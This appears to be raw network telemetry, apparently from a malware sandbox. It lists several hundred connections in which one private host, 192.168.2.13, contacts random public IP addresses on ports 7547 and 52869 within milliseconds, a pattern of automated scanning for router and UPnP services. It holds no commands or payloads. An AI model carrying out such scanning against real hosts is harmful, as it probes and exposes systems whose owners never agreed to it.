Apr 15, 2024 08:51:54.231504917 CEST	3310	52869	192.168.2.13	53.26.64.182
Apr 15, 2024 08:51:54.231504917 CEST	3310	52869	192.168.2.13	183.9.127.43
Apr 15, 2024 08:51:54.231504917 CEST	3310	52869	192.168.2.13	221.71.165.35
Apr 15, 2024 08:51:54.231504917 CEST	6126	7547	192.168.2.13	151.136.186.233
Apr 15, 2024 08:51:54.231504917 CEST	6126	7547	192.168.2.13	197.211.148.92
Apr 15, 2024 08:51:54.231509924 CEST	6126	7547	192.168.2.13	27.123.203.99
Apr 15, 2024 08:51:54.231509924 CEST	6126	7547	192.168.2.13	62.181.148.111
Apr 15, 2024 08:51:54.231509924 CEST	6126	7547	192.168.2.13	101.225.179.176
Apr 15, 2024 08:51:54.231514931 CEST	6126	7547	192.168.2.13	177.107.206.221
Apr 15, 2024 08:51:54.231514931 CEST	6126	7547	192.168.2.13	69.114.52.222
Apr 15, 2024 08:51:54.231515884 CEST	3310	52869	192.168.2.13	64.35.193.164
Apr 15, 2024 08:51:54.231515884 CEST	6126	7547	192.168.2.13	71.17.38.156
Apr 15, 2024 08:51:54.231515884 CEST	6126	7547	192.168.2.13	161.234.86.22
Apr 15, 2024 08:51:54.231517076 CEST	6126	7547	192.168.2.13	123.79.189.188
Apr 15, 2024 08:51:54.231517076 CEST	6126	7547	192.168.2.13	201.239.129.148
Apr 15, 2024 08:51:54.231515884 CEST	6126	7547	192.168.2.13	72.143.86.226
Apr 15, 2024 08:51:54.231515884 CEST	6126	7547	192.168.2.13	198.13.232.251
Apr 15, 2024 08:51:54.231532097 CEST	6126	7547	192.168.2.13	138.165.51.175
Apr 15, 2024 08:51:54.231543064 CEST	6126	7547	192.168.2.13	150.0.202.120
Apr 15, 2024 08:51:54.231544018 CEST	6126	7547	192.168.2.13	88.99.50.159
Apr 15, 2024 08:51:54.231554031 CEST	6126	7547	192.168.2.13	155.141.17.0
Apr 15, 2024 08:51:54.231558084 CEST	6126	7547	192.168.2.13	140.8.251.100
Apr 15, 2024 08:51:54.231558084 CEST	6126	7547	192.168.2.13	104.51.160.226
Apr 15, 2024 08:51:54.231559992 CEST	6126	7547	192.168.2.13	210.101.246.136
Apr 15, 2024 08:51:54.231559992 CEST	6126	7547	192.168.2.13	95.55.87.72
Apr 15, 2024 08:51:54.231563091 CEST	6126	7547	192.168.2.13	69.49.212.213
Apr 15, 2024 08:51:54.231563091 CEST	6126	7547	192.168.2.13	69.114.174.205
Apr 15, 2024 08:51:54.231563091 CEST	6126	7547	192.168.2.13	137.239.117.122
Apr 15, 2024 08:51:54.231570005 CEST	6126	7547	192.168.2.13	77.237.163.247
Apr 15, 2024 08:51:54.231570005 CEST	6126	7547	192.168.2.13	76.152.208.252
Apr 15, 2024 08:51:54.231580019 CEST	6126	7547	192.168.2.13	207.211.136.213
Apr 15, 2024 08:51:54.231581926 CEST	6126	7547	192.168.2.13	172.214.180.9
Apr 15, 2024 08:51:54.231581926 CEST	6126	7547	192.168.2.13	90.251.62.38
Apr 15, 2024 08:51:54.231597900 CEST	6126	7547	192.168.2.13	103.212.9.35
Apr 15, 2024 08:51:54.231597900 CEST	6126	7547	192.168.2.13	85.63.215.167
Apr 15, 2024 08:51:54.231605053 CEST	6126	7547	192.168.2.13	9.165.53.216
Apr 15, 2024 08:51:54.231605053 CEST	6126	7547	192.168.2.13	59.202.166.104
Apr 15, 2024 08:51:54.231610060 CEST	6126	7547	192.168.2.13	170.140.100.26
Apr 15, 2024 08:51:54.231614113 CEST	6126	7547	192.168.2.13	161.255.117.2
Apr 15, 2024 08:51:54.231621027 CEST	6126	7547	192.168.2.13	206.250.136.74
Apr 15, 2024 08:51:54.231621981 CEST	6126	7547	192.168.2.13	139.142.70.131
Apr 15, 2024 08:51:54.231630087 CEST	6126	7547	192.168.2.13	118.39.63.255
Apr 15, 2024 08:51:54.231648922 CEST	6126	7547	192.168.2.13	200.25.225.249
Apr 15, 2024 08:51:54.231648922 CEST	6126	7547	192.168.2.13	122.99.164.81
Apr 15, 2024 08:51:54.231653929 CEST	6126	7547	192.168.2.13	177.61.246.67
Apr 15, 2024 08:51:54.231662989 CEST	6126	7547	192.168.2.13	112.188.135.219
Apr 15, 2024 08:51:54.231662989 CEST	3310	52869	192.168.2.13	39.19.76.177
Apr 15, 2024 08:51:54.231669903 CEST	3310	52869	192.168.2.13	35.21.171.153
Apr 15, 2024 08:51:54.231669903 CEST	3310	52869	192.168.2.13	150.56.133.21
Apr 15, 2024 08:51:54.231671095 CEST	3310	52869	192.168.2.13	220.206.132.158
Apr 15, 2024 08:51:54.231672049 CEST	3310	52869	192.168.2.13	80.247.54.61
Apr 15, 2024 08:51:54.231671095 CEST	6126	7547	192.168.2.13	104.101.126.83
Apr 15, 2024 08:51:54.231671095 CEST	3310	52869	192.168.2.13	223.67.70.92
Apr 15, 2024 08:51:54.231671095 CEST	3310	52869	192.168.2.13	154.87.211.204
Apr 15, 2024 08:51:54.231671095 CEST	3310	52869	192.168.2.13	162.222.142.217
Apr 15, 2024 08:51:54.231676102 CEST	3310	52869	192.168.2.13	203.127.5.204
Apr 15, 2024 08:51:54.231676102 CEST	6126	7547	192.168.2.13	47.80.246.243
Apr 15, 2024 08:51:54.231686115 CEST	3310	52869	192.168.2.13	187.117.95.216
Apr 15, 2024 08:51:54.231686115 CEST	6126	7547	192.168.2.13	184.119.98.177
Apr 15, 2024 08:51:54.231686115 CEST	6126	7547	192.168.2.13	13.100.168.5
Apr 15, 2024 08:51:54.231688023 CEST	3310	52869	192.168.2.13	150.131.83.78
Apr 15, 2024 08:51:54.231688023 CEST	6126	7547	192.168.2.13	23.140.125.167
Apr 15, 2024 08:51:54.231688023 CEST	6126	7547	192.168.2.13	142.159.99.177
Apr 15, 2024 08:51:54.231698036 CEST	3310	52869	192.168.2.13	66.229.4.88
Apr 15, 2024 08:51:54.231698036 CEST	3310	52869	192.168.2.13	223.230.10.243
Apr 15, 2024 08:51:54.231698036 CEST	6126	7547	192.168.2.13	147.197.224.242
Apr 15, 2024 08:51:54.231698036 CEST	3310	52869	192.168.2.13	223.116.102.244
Apr 15, 2024 08:51:54.231698036 CEST	6126	7547	192.168.2.13	197.189.250.24
Apr 15, 2024 08:51:54.231698036 CEST	3310	52869	192.168.2.13	177.75.247.205
Apr 15, 2024 08:51:54.231698036 CEST	6126	7547	192.168.2.13	114.39.158.2
Apr 15, 2024 08:51:54.231703043 CEST	6126	7547	192.168.2.13	192.59.108.114
Apr 15, 2024 08:51:54.231703043 CEST	3310	52869	192.168.2.13	170.171.222.2
Apr 15, 2024 08:51:54.231713057 CEST	3310	52869	192.168.2.13	110.29.22.148
Apr 15, 2024 08:51:54.231713057 CEST	3310	52869	192.168.2.13	17.61.112.79
Apr 15, 2024 08:51:54.231714964 CEST	6126	7547	192.168.2.13	67.107.175.66
Apr 15, 2024 08:51:54.231714964 CEST	3310	52869	192.168.2.13	211.131.88.230
Apr 15, 2024 08:51:54.231715918 CEST	3310	52869	192.168.2.13	87.58.70.2
Apr 15, 2024 08:51:54.231715918 CEST	3310	52869	192.168.2.13	117.59.117.212
Apr 15, 2024 08:51:54.231715918 CEST	6126	7547	192.168.2.13	132.6.84.1
Apr 15, 2024 08:51:54.231717110 CEST	3310	52869	192.168.2.13	120.227.140.35
Apr 15, 2024 08:51:54.231719971 CEST	6126	7547	192.168.2.13	90.152.12.76
Apr 15, 2024 08:51:54.231719971 CEST	6126	7547	192.168.2.13	27.16.35.2
Apr 15, 2024 08:51:54.231719971 CEST	3310	52869	192.168.2.13	82.56.246.77
Apr 15, 2024 08:51:54.231730938 CEST	6126	7547	192.168.2.13	142.96.31.114
Apr 15, 2024 08:51:54.231735945 CEST	3310	52869	192.168.2.13	168.19.78.50
Apr 15, 2024 08:51:54.231735945 CEST	6126	7547	192.168.2.13	103.113.22.190
Apr 15, 2024 08:51:54.231735945 CEST	6126	7547	192.168.2.13	86.250.116.176
Apr 15, 2024 08:51:54.231735945 CEST	6126	7547	192.168.2.13	73.244.103.179
Apr 15, 2024 08:51:54.231735945 CEST	3310	52869	192.168.2.13	201.128.183.50
Apr 15, 2024 08:51:54.231738091 CEST	6126	7547	192.168.2.13	216.254.178.216
Apr 15, 2024 08:51:54.231738091 CEST	3310	52869	192.168.2.13	118.220.105.170
Apr 15, 2024 08:51:54.231738091 CEST	6126	7547	192.168.2.13	199.221.2.121
Apr 15, 2024 08:51:54.231738091 CEST	6126	7547	192.168.2.13	80.216.23.132
Apr 15, 2024 08:51:54.231740952 CEST	3310	52869	192.168.2.13	171.57.173.234
Apr 15, 2024 08:51:54.231738091 CEST	6126	7547	192.168.2.13	98.141.126.222
Apr 15, 2024 08:51:54.231741905 CEST	3310	52869	192.168.2.13	114.103.35.17
Apr 15, 2024 08:51:54.231740952 CEST	6126	7547	192.168.2.13	68.244.187.234
Apr 15, 2024 08:51:54.231741905 CEST	6126	7547	192.168.2.13	32.38.53.104
Apr 15, 2024 08:51:54.231741905 CEST	3310	52869	192.168.2.13	140.7.120.156
Apr 15, 2024 08:51:54.231748104 CEST	3310	52869	192.168.2.13	142.103.67.51
Apr 15, 2024 08:51:54.231748104 CEST	6126	7547	192.168.2.13	76.252.225.250
Apr 15, 2024 08:51:54.231748104 CEST	3310	52869	192.168.2.13	213.165.19.192
Apr 15, 2024 08:51:54.231748104 CEST	3310	52869	192.168.2.13	154.227.98.100
Apr 15, 2024 08:51:54.231748104 CEST	6126	7547	192.168.2.13	106.198.32.175
Apr 15, 2024 08:51:54.231749058 CEST	6126	7547	192.168.2.13	148.49.124.4
Apr 15, 2024 08:51:54.231749058 CEST	3310	52869	192.168.2.13	14.133.102.18
Apr 15, 2024 08:51:54.231765985 CEST	3310	52869	192.168.2.13	80.204.100.26
Apr 15, 2024 08:51:54.231765985 CEST	3310	52869	192.168.2.13	175.97.135.239
Apr 15, 2024 08:51:54.231770039 CEST	6126	7547	192.168.2.13	2.65.95.64
Apr 15, 2024 08:51:54.231770039 CEST	3310	52869	192.168.2.13	8.239.53.143
Apr 15, 2024 08:51:54.231770039 CEST	3310	52869	192.168.2.13	4.213.47.98
Apr 15, 2024 08:51:54.231770039 CEST	3310	52869	192.168.2.13	84.6.89.192
Apr 15, 2024 08:51:54.231774092 CEST	3310	52869	192.168.2.13	95.17.130.192
Apr 15, 2024 08:51:54.231770039 CEST	3310	52869	192.168.2.13	186.41.43.153
Apr 15, 2024 08:51:54.231770039 CEST	3310	52869	192.168.2.13	101.190.159.150
Apr 15, 2024 08:51:54.231777906 CEST	6126	7547	192.168.2.13	222.15.7.111
Apr 15, 2024 08:51:54.231777906 CEST	3310	52869	192.168.2.13	89.196.83.128
Apr 15, 2024 08:51:54.231777906 CEST	3310	52869	192.168.2.13	115.46.230.37
Apr 15, 2024 08:51:54.231777906 CEST	3310	52869	192.168.2.13	136.198.110.114
Apr 15, 2024 08:51:54.231777906 CEST	3310	52869	192.168.2.13	138.228.41.165
Apr 15, 2024 08:51:54.231811047 CEST	6126	7547	192.168.2.13	168.238.145.253
Apr 15, 2024 08:51:54.231811047 CEST	3310	52869	192.168.2.13	98.121.54.75
Apr 15, 2024 08:51:54.231820107 CEST	3310	52869	192.168.2.13	82.159.94.10
Apr 15, 2024 08:51:54.231820107 CEST	3310	52869	192.168.2.13	179.221.187.12
Apr 15, 2024 08:51:54.231820107 CEST	6126	7547	192.168.2.13	77.72.116.217
Apr 15, 2024 08:51:54.231820107 CEST	3310	52869	192.168.2.13	120.93.240.156
Apr 15, 2024 08:51:54.231820107 CEST	6126	7547	192.168.2.13	102.49.20.38
Apr 15, 2024 08:51:54.231820107 CEST	3310	52869	192.168.2.13	59.233.132.201
Apr 15, 2024 08:51:54.231820107 CEST	6126	7547	192.168.2.13	71.233.60.191
Apr 15, 2024 08:51:54.231821060 CEST	3310	52869	192.168.2.13	59.101.26.9
Apr 15, 2024 08:51:54.231823921 CEST	6126	7547	192.168.2.13	132.94.200.35
Apr 15, 2024 08:51:54.231823921 CEST	3310	52869	192.168.2.13	161.91.174.140
Apr 15, 2024 08:51:54.231825113 CEST	6126	7547	192.168.2.13	108.226.249.179
Apr 15, 2024 08:51:54.231825113 CEST	6126	7547	192.168.2.13	151.128.200.16
Apr 15, 2024 08:51:54.231825113 CEST	6126	7547	192.168.2.13	19.70.218.195
Apr 15, 2024 08:51:54.231831074 CEST	3310	52869	192.168.2.13	180.170.120.173
Apr 15, 2024 08:51:54.231825113 CEST	3310	52869	192.168.2.13	138.216.133.230
Apr 15, 2024 08:51:54.231831074 CEST	3310	52869	192.168.2.13	177.19.85.142
Apr 15, 2024 08:51:54.231825113 CEST	6126	7547	192.168.2.13	44.7.127.54
Apr 15, 2024 08:51:54.231832981 CEST	6126	7547	192.168.2.13	180.9.255.245
Apr 15, 2024 08:51:54.231831074 CEST	3310	52869	192.168.2.13	125.28.238.205
Apr 15, 2024 08:51:54.231832981 CEST	6126	7547	192.168.2.13	202.4.73.227
Apr 15, 2024 08:51:54.231831074 CEST	3310	52869	192.168.2.13	199.31.75.46
Apr 15, 2024 08:51:54.231833935 CEST	6126	7547	192.168.2.13	94.72.97.176
Apr 15, 2024 08:51:54.231837988 CEST	3310	52869	192.168.2.13	180.106.95.108
Apr 15, 2024 08:51:54.231831074 CEST	3310	52869	192.168.2.13	93.117.224.142
Apr 15, 2024 08:51:54.231836081 CEST	3310	52869	192.168.2.13	66.59.185.44
Apr 15, 2024 08:51:54.231832981 CEST	6126	7547	192.168.2.13	71.212.8.44
Apr 15, 2024 08:51:54.231831074 CEST	3310	52869	192.168.2.13	102.128.141.137
Apr 15, 2024 08:51:54.231831074 CEST	6126	7547	192.168.2.13	23.174.158.123
Apr 15, 2024 08:51:54.231836081 CEST	3310	52869	192.168.2.13	122.69.217.0
Apr 15, 2024 08:51:54.231836081 CEST	3310	52869	192.168.2.13	23.130.64.36
Apr 15, 2024 08:51:54.231832981 CEST	6126	7547	192.168.2.13	177.71.57.73
Apr 15, 2024 08:51:54.231837988 CEST	3310	52869	192.168.2.13	147.103.161.169
Apr 15, 2024 08:51:54.231832981 CEST	3310	52869	192.168.2.13	42.49.71.150
Apr 15, 2024 08:51:54.231836081 CEST	3310	52869	192.168.2.13	111.97.123.248
Apr 15, 2024 08:51:54.231837988 CEST	6126	7547	192.168.2.13	112.155.85.163
Apr 15, 2024 08:51:54.231837988 CEST	3310	52869	192.168.2.13	128.0.104.222
Apr 15, 2024 08:51:54.231837988 CEST	3310	52869	192.168.2.13	220.150.100.76
Apr 15, 2024 08:51:54.231832981 CEST	3310	52869	192.168.2.13	202.3.208.122
Apr 15, 2024 08:51:54.231837988 CEST	3310	52869	192.168.2.13	191.105.30.249
Apr 15, 2024 08:51:54.231837988 CEST	6126	7547	192.168.2.13	12.71.90.169
Apr 15, 2024 08:51:54.231861115 CEST	6126	7547	192.168.2.13	53.116.136.126
Apr 15, 2024 08:51:54.231837988 CEST	6126	7547	192.168.2.13	168.121.121.100
Apr 15, 2024 08:51:54.231832981 CEST	3310	52869	192.168.2.13	171.237.196.169
Apr 15, 2024 08:51:54.231861115 CEST	6126	7547	192.168.2.13	113.191.111.44
Apr 15, 2024 08:51:54.231864929 CEST	3310	52869	192.168.2.13	13.17.237.117
Apr 15, 2024 08:51:54.231861115 CEST	3310	52869	192.168.2.13	75.225.198.217
Apr 15, 2024 08:51:54.231864929 CEST	3310	52869	192.168.2.13	119.204.89.43
Apr 15, 2024 08:51:54.231861115 CEST	3310	52869	192.168.2.13	131.195.195.36
Apr 15, 2024 08:51:54.231864929 CEST	3310	52869	192.168.2.13	126.122.48.127
Apr 15, 2024 08:51:54.231861115 CEST	3310	52869	192.168.2.13	65.59.131.3
Apr 15, 2024 08:51:54.231864929 CEST	3310	52869	192.168.2.13	41.193.185.223
Apr 15, 2024 08:51:54.231861115 CEST	6126	7547	192.168.2.13	67.131.58.175
Apr 15, 2024 08:51:54.231861115 CEST	3310	52869	192.168.2.13	121.132.35.62
Apr 15, 2024 08:51:54.231889009 CEST	6126	7547	192.168.2.13	74.78.125.233
Apr 15, 2024 08:51:54.231889009 CEST	3310	52869	192.168.2.13	156.69.156.94
Apr 15, 2024 08:51:54.231889009 CEST	6126	7547	192.168.2.13	108.217.81.166
Apr 15, 2024 08:51:54.231889009 CEST	3310	52869	192.168.2.13	152.147.101.85
Apr 15, 2024 08:51:54.231889009 CEST	3310	52869	192.168.2.13	147.237.170.239
Apr 15, 2024 08:51:54.231889009 CEST	3310	52869	192.168.2.13	148.225.142.0
Apr 15, 2024 08:51:54.231889009 CEST	3310	52869	192.168.2.13	222.159.231.48
Apr 15, 2024 08:51:54.231889009 CEST	6126	7547	192.168.2.13	105.247.20.73
Apr 15, 2024 08:51:54.231924057 CEST	6126	7547	192.168.2.13	151.35.245.31
Apr 15, 2024 08:51:54.231924057 CEST	6126	7547	192.168.2.13	190.50.254.192
Apr 15, 2024 08:51:54.231924057 CEST	3310	52869	192.168.2.13	134.149.19.92
Apr 15, 2024 08:51:54.231925011 CEST	6126	7547	192.168.2.13	110.27.27.237
Apr 15, 2024 08:51:54.231925011 CEST	6126	7547	192.168.2.13	161.138.27.250
Apr 15, 2024 08:51:54.231924057 CEST	6126	7547	192.168.2.13	105.126.211.109
Apr 15, 2024 08:51:54.231925011 CEST	3310	52869	192.168.2.13	77.156.106.50
Apr 15, 2024 08:51:54.231925011 CEST	6126	7547	192.168.2.13	86.88.241.139
Apr 15, 2024 08:51:54.231925011 CEST	6126	7547	192.168.2.13	52.4.129.182
Apr 15, 2024 08:51:54.231925011 CEST	6126	7547	192.168.2.13	36.3.114.247
Apr 15, 2024 08:51:54.231924057 CEST	3310	52869	192.168.2.13	117.152.252.177
Apr 15, 2024 08:51:54.231925011 CEST	6126	7547	192.168.2.13	52.220.195.36
Apr 15, 2024 08:51:54.231961966 CEST	3310	52869	192.168.2.13	60.146.9.161
Apr 15, 2024 08:51:54.231962919 CEST	6126	7547	192.168.2.13	184.91.104.184
Apr 15, 2024 08:51:54.231961966 CEST	6126	7547	192.168.2.13	97.242.223.202
Apr 15, 2024 08:51:54.231962919 CEST	6126	7547	192.168.2.13	163.241.57.75
Apr 15, 2024 08:51:54.231961966 CEST	6126	7547	192.168.2.13	134.116.114.39
Apr 15, 2024 08:51:54.231962919 CEST	6126	7547	192.168.2.13	141.28.242.131
Apr 15, 2024 08:51:54.231962919 CEST	3310	52869	192.168.2.13	60.11.166.246
Apr 15, 2024 08:51:54.231961966 CEST	3310	52869	192.168.2.13	135.34.190.154
Apr 15, 2024 08:51:54.231961966 CEST	3310	52869	192.168.2.13	52.183.17.82
Apr 15, 2024 08:51:54.231971979 CEST	3310	52869	192.168.2.13	69.232.149.75
Apr 15, 2024 08:51:54.231961966 CEST	6126	7547	192.168.2.13	53.151.218.193
Apr 15, 2024 08:51:54.231971979 CEST	6126	7547	192.168.2.13	24.119.238.99
Apr 15, 2024 08:51:54.231971979 CEST	3310	52869	192.168.2.13	195.159.246.140
Apr 15, 2024 08:51:54.231971979 CEST	3310	52869	192.168.2.13	40.79.94.200
Apr 15, 2024 08:51:54.231971979 CEST	6126	7547	192.168.2.13	122.163.60.46
Apr 15, 2024 08:51:54.231961966 CEST	6126	7547	192.168.2.13	177.76.222.8
Apr 15, 2024 08:51:54.231971979 CEST	3310	52869	192.168.2.13	58.91.254.89
Apr 15, 2024 08:51:54.231971979 CEST	6126	7547	192.168.2.13	111.187.198.252
Apr 15, 2024 08:51:54.231961966 CEST	3310	52869	192.168.2.13	170.23.225.56
Apr 15, 2024 08:51:54.231971979 CEST	6126	7547	192.168.2.13	144.132.120.67
Apr 15, 2024 08:51:54.231962919 CEST	6126	7547	192.168.2.13	166.76.71.102
Apr 15, 2024 08:51:54.231971979 CEST	6126	7547	192.168.2.13	157.125.32.225
Apr 15, 2024 08:51:54.231971979 CEST	3310	52869	192.168.2.13	138.124.230.101
Apr 15, 2024 08:51:54.231971979 CEST	3310	52869	192.168.2.13	168.185.212.57
Apr 15, 2024 08:51:54.231971979 CEST	3310	52869	192.168.2.13	204.111.27.247
Apr 15, 2024 08:51:54.231971979 CEST	6126	7547	192.168.2.13	157.242.91.4
Apr 15, 2024 08:51:54.231971979 CEST	6126	7547	192.168.2.13	70.122.218.213
Apr 15, 2024 08:51:54.231971979 CEST	6126	7547	192.168.2.13	165.223.234.33
Apr 15, 2024 08:51:54.231971979 CEST	6126	7547	192.168.2.13	84.79.188.33
Apr 15, 2024 08:51:54.231976986 CEST	6126	7547	192.168.2.13	34.96.73.109
Apr 15, 2024 08:51:54.231962919 CEST	6126	7547	192.168.2.13	92.55.202.245
Apr 15, 2024 08:51:54.231962919 CEST	6126	7547	192.168.2.13	24.133.129.123
Apr 15, 2024 08:51:54.231976986 CEST	3310	52869	192.168.2.13	180.35.171.76
Apr 15, 2024 08:51:54.231990099 CEST	6126	7547	192.168.2.13	107.41.50.69
Apr 15, 2024 08:51:54.231962919 CEST	6126	7547	192.168.2.13	78.247.236.212
Apr 15, 2024 08:51:54.231976986 CEST	6126	7547	192.168.2.13	223.52.58.42
Apr 15, 2024 08:51:54.231976986 CEST	6126	7547	192.168.2.13	96.119.215.36
Apr 15, 2024 08:51:54.231996059 CEST	3310	52869	192.168.2.13	161.208.157.214
Apr 15, 2024 08:51:54.231996059 CEST	3310	52869	192.168.2.13	172.66.203.27
Apr 15, 2024 08:51:54.231996059 CEST	6126	7547	192.168.2.13	208.88.165.179
Apr 15, 2024 08:51:54.231997967 CEST	6126	7547	192.168.2.13	124.65.43.229
Apr 15, 2024 08:51:54.231996059 CEST	6126	7547	192.168.2.13	53.105.98.90
Apr 15, 2024 08:51:54.231996059 CEST	6126	7547	192.168.2.13	34.87.126.36
Apr 15, 2024 08:51:54.231996059 CEST	6126	7547	192.168.2.13	64.229.92.164
Apr 15, 2024 08:51:54.231996059 CEST	6126	7547	192.168.2.13	103.5.58.247
Apr 15, 2024 08:51:54.232045889 CEST	6126	7547	192.168.2.13	141.239.69.147
Apr 15, 2024 08:51:54.232045889 CEST	6126	7547	192.168.2.13	182.204.46.43
Apr 15, 2024 08:51:54.232045889 CEST	3310	52869	192.168.2.13	13.41.39.27
Apr 15, 2024 08:51:54.232045889 CEST	6126	7547	192.168.2.13	187.116.191.164
Apr 15, 2024 08:51:54.232049942 CEST	6126	7547	192.168.2.13	110.239.63.116
Apr 15, 2024 08:51:54.232049942 CEST	6126	7547	192.168.2.13	199.212.123.128
Apr 15, 2024 08:51:54.232049942 CEST	6126	7547	192.168.2.13	25.108.155.12
Apr 15, 2024 08:51:54.232057095 CEST	6126	7547	192.168.2.13	81.68.191.185
Apr 15, 2024 08:51:54.232062101 CEST	6126	7547	192.168.2.13	189.95.14.179
Apr 15, 2024 08:51:54.232062101 CEST	6126	7547	192.168.2.13	141.112.228.180
Apr 15, 2024 08:51:54.232062101 CEST	6126	7547	192.168.2.13	78.236.111.227
Apr 15, 2024 08:51:54.232084990 CEST	6126	7547	192.168.2.13	206.24.166.252
Apr 15, 2024 08:51:54.232084990 CEST	6126	7547	192.168.2.13	143.243.245.195
Apr 15, 2024 08:51:54.232085943 CEST	3310	52869	192.168.2.13	108.248.162.148
Apr 15, 2024 08:51:54.232084990 CEST	6126	7547	192.168.2.13	162.86.66.79
Apr 15, 2024 08:51:54.232085943 CEST	6126	7547	192.168.2.13	212.69.64.211
Apr 15, 2024 08:51:54.232085943 CEST	3310	52869	192.168.2.13	135.178.230.16
Apr 15, 2024 08:51:54.232085943 CEST	6126	7547	192.168.2.13	71.125.160.68
Apr 15, 2024 08:51:54.232085943 CEST	6126	7547	192.168.2.13	50.73.97.171
Apr 15, 2024 08:51:54.232093096 CEST	6126	7547	192.168.2.13	189.230.138.89
Apr 15, 2024 08:51:54.232093096 CEST	3310	52869	192.168.2.13	199.212.96.31
Apr 15, 2024 08:51:54.232095003 CEST	6126	7547	192.168.2.13	189.212.12.249
Apr 15, 2024 08:51:54.232095003 CEST	6126	7547	192.168.2.13	61.61.157.102
Apr 15, 2024 08:51:54.232095003 CEST	3310	52869	192.168.2.13	115.23.107.169
Apr 15, 2024 08:51:54.232095003 CEST	6126	7547	192.168.2.13	132.141.189.212
Apr 15, 2024 08:51:54.232111931 CEST	3310	52869	192.168.2.13	203.172.9.211
Apr 15, 2024 08:51:54.232111931 CEST	3310	52869	192.168.2.13	119.25.180.56
Apr 15, 2024 08:51:54.232112885 CEST	3310	52869	192.168.2.13	46.250.239.72
Apr 15, 2024 08:51:54.232112885 CEST	6126	7547	192.168.2.13	64.166.196.21
Apr 15, 2024 08:51:54.232115984 CEST	3310	52869	192.168.2.13	122.23.247.90
Apr 15, 2024 08:51:54.232116938 CEST	3310	52869	192.168.2.13	140.3.136.73
Apr 15, 2024 08:51:54.232117891 CEST	6126	7547	192.168.2.13	75.201.129.125
Apr 15, 2024 08:51:54.232116938 CEST	3310	52869	192.168.2.13	115.19.125.188
Apr 15, 2024 08:51:54.232116938 CEST	6126	7547	192.168.2.13	84.88.89.251
Apr 15, 2024 08:51:54.232116938 CEST	3310	52869	192.168.2.13	66.49.191.180
Apr 15, 2024 08:51:54.232127905 CEST	3310	52869	192.168.2.13	158.138.227.247
Apr 15, 2024 08:51:54.232130051 CEST	3310	52869	192.168.2.13	64.248.231.168
Apr 15, 2024 08:51:54.232130051 CEST	6126	7547	192.168.2.13	220.233.40.156
Apr 15, 2024 08:51:54.232131958 CEST	6126	7547	192.168.2.13	31.83.163.45
Apr 15, 2024 08:51:54.232130051 CEST	3310	52869	192.168.2.13	113.187.60.145
Apr 15, 2024 08:51:54.232130051 CEST	3310	52869	192.168.2.13	118.187.19.200
Apr 15, 2024 08:51:54.232132912 CEST	6126	7547	192.168.2.13	106.202.54.53
Apr 15, 2024 08:51:54.232130051 CEST	6126	7547	192.168.2.13	108.239.226.112
Apr 15, 2024 08:51:54.232130051 CEST	6126	7547	192.168.2.13	209.12.214.244
Apr 15, 2024 08:51:54.232132912 CEST	3310	52869	192.168.2.13	19.85.255.69
Apr 15, 2024 08:51:54.232132912 CEST	3310	52869	192.168.2.13	120.170.205.114
Apr 15, 2024 08:51:54.232146025 CEST	6126	7547	192.168.2.13	196.7.143.132
Apr 15, 2024 08:51:54.232147932 CEST	3310	52869	192.168.2.13	32.158.24.227
Apr 15, 2024 08:51:54.232147932 CEST	6126	7547	192.168.2.13	142.133.164.8
Apr 15, 2024 08:51:54.232151031 CEST	6126	7547	192.168.2.13	196.20.75.167
Apr 15, 2024 08:51:54.232151031 CEST	6126	7547	192.168.2.13	115.255.107.97
Apr 15, 2024 08:51:54.232156992 CEST	6126	7547	192.168.2.13	176.12.5.59
Apr 15, 2024 08:51:54.232161045 CEST	6126	7547	192.168.2.13	150.37.145.19
Apr 15, 2024 08:51:54.232173920 CEST	6126	7547	192.168.2.13	158.109.198.29
Apr 15, 2024 08:51:54.232181072 CEST	6126	7547	192.168.2.13	49.109.155.171
Apr 15, 2024 08:51:54.232182026 CEST	6126	7547	192.168.2.13	94.253.207.114
Apr 15, 2024 08:51:54.232182026 CEST	6126	7547	192.168.2.13	82.161.152.125
Apr 15, 2024 08:51:54.232197046 CEST	6126	7547	192.168.2.13	13.254.54.145
Apr 15, 2024 08:51:54.232197046 CEST	6126	7547	192.168.2.13	79.210.0.221
Apr 15, 2024 08:51:54.232208014 CEST	6126	7547	192.168.2.13	203.117.245.48
Apr 15, 2024 08:51:54.232223034 CEST	6126	7547	192.168.2.13	152.17.53.63
Apr 15, 2024 08:51:54.232223034 CEST	6126	7547	192.168.2.13	169.238.99.27
Apr 15, 2024 08:51:54.232238054 CEST	6126	7547	192.168.2.13	134.226.244.17
Apr 15, 2024 08:51:54.232244015 CEST	6126	7547	192.168.2.13	13.240.155.137
Apr 15, 2024 08:51:54.232251883 CEST	6126	7547	192.168.2.13	209.21.98.245
Apr 15, 2024 08:51:54.232270002 CEST	6126	7547	192.168.2.13	160.188.116.100
Apr 15, 2024 08:51:54.232270002 CEST	3310	52869	192.168.2.13	166.4.193.220
Apr 15, 2024 08:51:54.232270002 CEST	3310	52869	192.168.2.13	124.83.246.175
Apr 15, 2024 08:51:54.232274055 CEST	3310	52869	192.168.2.13	191.35.219.2
Apr 15, 2024 08:51:54.232287884 CEST	3310	52869	192.168.2.13	87.214.239.50
Apr 15, 2024 08:51:54.232290030 CEST	6126	7547	192.168.2.13	203.228.173.89
Apr 15, 2024 08:51:54.232290983 CEST	6126	7547	192.168.2.13	187.66.188.94
Apr 15, 2024 08:51:54.232290030 CEST	6126	7547	192.168.2.13	166.231.71.128
Apr 15, 2024 08:51:54.232292891 CEST	3310	52869	192.168.2.13	163.91.110.78
Apr 15, 2024 08:51:54.232294083 CEST	6126	7547	192.168.2.13	162.131.236.28
Apr 15, 2024 08:51:54.232304096 CEST	3310	52869	192.168.2.13	177.69.185.106
Apr 15, 2024 08:51:54.232305050 CEST	3310	52869	192.168.2.13	86.87.22.177
Apr 15, 2024 08:51:54.232306004 CEST	6126	7547	192.168.2.13	181.9.41.91
Apr 15, 2024 08:51:54.232305050 CEST	3310	52869	192.168.2.13	41.12.36.56
Apr 15, 2024 08:51:54.232306004 CEST	3310	52869	192.168.2.13	160.132.57.123
Apr 15, 2024 08:51:54.232306004 CEST	6126	7547	192.168.2.13	100.198.31.123
Apr 15, 2024 08:51:54.232306004 CEST	6126	7547	192.168.2.13	71.235.168.2
Apr 15, 2024 08:51:54.232306004 CEST	6126	7547	192.168.2.13	178.171.217.43
Apr 15, 2024 08:51:54.232311010 CEST	6126	7547	192.168.2.13	183.185.174.34
Apr 15, 2024 08:51:54.232311010 CEST	6126	7547	192.168.2.13	194.71.101.212
Apr 15, 2024 08:51:54.232311010 CEST	6126	7547	192.168.2.13	143.126.32.231
